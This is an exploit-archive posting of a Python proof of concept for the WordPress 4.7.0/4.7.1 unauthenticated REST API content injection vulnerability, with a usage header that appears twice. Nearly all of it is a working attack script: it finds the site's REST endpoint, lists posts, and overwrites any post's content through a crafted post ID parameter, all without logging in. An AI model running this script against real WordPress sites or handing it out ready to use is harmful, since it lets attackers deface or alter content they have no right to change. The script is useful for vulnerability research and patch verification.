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WordPress 4.7.0 / 4.7.1 Content Injection Proof Of Concept

Posted on 02 February 2017

# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Date: 2017-02-02
# Exploit Author: @leonjza
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/wordpress-4.7.zip
# Version: Wordpress 4.7.0/4.7.1
# Tested on: Debian Jessie
#
# PoC gist: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab
#

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# usage example:
#
# list available posts:
#
# A>> python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# update post with content from a file
# A>> cat content
# foo
#
# A>> python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# usage example:
#
# list available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# update post with content from a file
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!

import json
import sys
import urllib2

from lxml import etree

def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)

data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]

# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not be enabled. This might not work!')

return u

def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())

for post in posts:
print(' - Post ID: {}, Title: {}, Url: {}'
.format(post['id'], post['title']['rendered'], post['link']))

def update_post(api_base, post_id, post_content):
data = json.dumps({
'content': post_content
})

url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()

print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))

def print_usage():
print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))

if __name__ == '__main__':

# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)

# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)

print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {}'.format(api_url))

# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)

sys.exit(0)

# if we get here, we have what we need to update a post!
print('* Updating post {}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()

update_post(api_url, sys.argv[2], ''.join(new_content))

print('* Update complete!')

 

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